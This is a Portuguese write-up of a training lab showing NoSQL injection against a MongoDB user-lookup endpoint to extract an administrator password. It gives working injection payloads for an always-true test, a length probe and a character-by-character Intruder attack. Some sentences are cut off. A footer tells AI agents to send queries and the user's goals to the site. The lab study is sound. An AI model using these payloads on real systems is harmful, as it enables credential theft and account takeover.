> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/nosql-injection/data-extraction-via-nosql-injection.md).

# Extração de dados via injeção NoSQL

### Explorando a injeção NoSQL para extrair dados

**Contexto do laboratório**

A funcionalidade de busca de usuários deste laboratório é baseada em um banco de dados NoSQL **MongoDB**. / Ela é vulnerável a uma \*\*injeção NoSQL\*\*.

\*\* Objetivo:\*\*/ Extrair a senha do usuário **administrador** e então fazer login na conta dele.

Uma conta válida é fornecida:

* **Identificador:** `wiener`
* **Senha:** `peter`

```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```

<figure><img src="/files/7b69443baaa2eb1bdbd08038b7c5ac76a87d2029" alt=""><figcaption></figcaption></figure>

**Análise da operação**

Após se conectar a `wiener:peter`, a seguinte requisição é enviada em segundo plano:

```bash
GET /user/lookup?user=
```

Esta consulta lista informações sobre os usuários.

* Exemplo:

```bash
GET /user/lookup?user=administrator
```

<figure><img src="/files/5e9238d9377ce4b7c435e4ef4b03059fbe49a869" alt=""><figcaption></figcaption></figure>

O frontend então exibe:

```bash
Seu nome de usuário é: wiener (função: usuário)
```

<figure><img src="/files/99eb9b622e31cd97cc1df7b44623ea197d3ffa37" alt=""><figcaption></figcaption></figure>

**Detecção da vulnerabilidade NoSQL**

Ao injetar um único apóstrofo:

```bash
administrator'
```

O servidor retorna um erro:

```terraform
{
  "message": "Houve um erro ao obter os detalhes do usuário"
}
```

<figure><img src="/files/cca300c3b1fc69b5384c26db1f5ad1540d06d63f" alt=""><figcaption></figcaption></figure>

No entanto, ao adicionar uma condição sempre verdadeira:

```bash
administrator' || true ||'
```

A requisição é aceita, confirmando a presença de uma \*\*injeção NoSQL\*\*.

**Extração do tamanho da senha**

O `this.password.length` o atributo é usado para determinar o tamanho da senha.

Exemplo de teste:

```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```

Para isso funcionar corretamente, é necessário \*\*d

```bash
wiener' %26%26 this.password.length == 5 ||'
```

\*\* Aplicação ao Administrador\*\*

<figure><img src="/files/b018197fd8d26cc31e2ef917e3ed406f6b19a87d" alt=""><figcaption></figcaption></figure>

Repetindo o método com o `administrador` usuário:

```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```

A condição é validada, indicando que a senha do administrador contém **8 caracteres**.

<figure><img src="/files/0e2010487b0c4168b71e26019bd768a0ca3586c0" alt=""><figcaption></figcaption></figure>

**Extrair caractere por caractere**

Em seguida, filtre por posição:

```bash
administrator' %26%26 this.password[0]=='X
```

Esta requisição é enviada para **Intruder**.

<figure><img src="/files/22962226a9c95af5f14f6cf4bb7e731a3e20b971" alt=""><figcaption></figcaption></figure>

### \*\* Ataque com o Intruder\*\*

<figure><img src="/files/afa839fcbf18267aa997585cbc518359e7b56fb0" alt=""><figcaption></figcaption></figure>

Tipo de ataque : **Bomba em cluster**

<figure><img src="/files/654266f7cc22429b929d167212e56909f57b59b2" alt=""><figcaption></figcaption></figure>

Parâmetros:

* Posição do caractere: `0` para `7` valores

<figure><img src="/files/5929be0f8670d3ac5153829f6183087207292193" alt=""><figcaption></figcaption></figure>

* Caracteres testados: alfabeto (dicionário de letras)

<figure><img src="/files/5220fa759dead2167807fe01910e588a27791e1a" alt=""><figcaption></figcaption></figure>

Ao analisar as respostas válidas, a senha é recuperada.

| número | letra |
| ------ | ----- |
| 0      | v     |
| 1      | x     |
| 2      | t     |
| 3      | r     |
| 4      | m     |
| 5      | e     |
| 6      | z     |
| 7      | s     |

<figure><img src="/files/7fb81e05b00c55e1d832d7faa72f38f0634d2794" alt=""><figcaption></figcaption></figure>

**Resultado final**

**Senha do usuário administrador:**

`vxtrmezs`

<figure><img src="/files/b96baf64bd075fd9145f2dbe524709e2236d75d2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
